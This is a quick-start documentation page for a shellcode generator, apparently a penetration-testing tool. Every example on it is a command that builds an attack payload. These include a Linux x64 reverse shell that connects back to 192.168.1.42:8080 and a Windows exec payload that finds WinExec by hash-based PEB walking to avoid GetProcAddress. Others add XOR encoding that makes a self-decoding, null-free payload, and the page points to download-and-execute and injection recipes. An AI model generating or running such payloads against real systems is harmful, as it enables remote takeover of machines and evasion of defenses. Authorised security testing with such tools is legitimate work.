Getting Started

Quick Start

Generate your first shellcode payload with Shell[SNIP].

Quick Start

Generate a Linux reverse shell

./generate.py --os posix -x64 -o revshell.raw connect 192.168.1.42 8080

This resolves the posix_64/connect recipe (pure syscalls: socket, connect, dup2, execve), compiles it with NASM, validates that the output contains no null bytes, and writes the compiled binary to revshell.raw.

Generate a Windows command execution payload

./generate.py --os win -x64 -o calc.raw exec calc.exe --show

This resolves the win_64/exec recipe, which uses a ROR13 hash-based PEB-walk resolver to locate WinExec without calling GetProcAddress.

Add encoding

./generate.py --os posix -x64 --enc xor -o revshell.raw connect 192.168.1.42 8080

Omitting --enc-key lets the xor encoder auto-select a key that guarantees a null-free output. The compiled result is a self-decoding payload: a NASM decoder stub followed by the encoded bytes.

Get a formatted, embeddable output

./generate.py --os posix -x64 -o revshell.raw --syntax python connect 192.168.1.42 8080

With --syntax set to anything other than raw, ShellSNIP prints the formatted representation (here, a Python bytes literal) to the console in addition to writing the binary file.

Save the intermediate NASM source

./generate.py --os posix -x64 -s revshell.asm -o revshell.raw connect 192.168.1.42 8080

-s/--source writes the fully-resolved NASM source (after snippet resolution and helper evaluation) — useful for inspecting or manually tweaking the generated assembly before compilation.

Next, see the Recipes guide for the full parameter reference of exec, dlexec, connect, and inject.

Copyright © 2026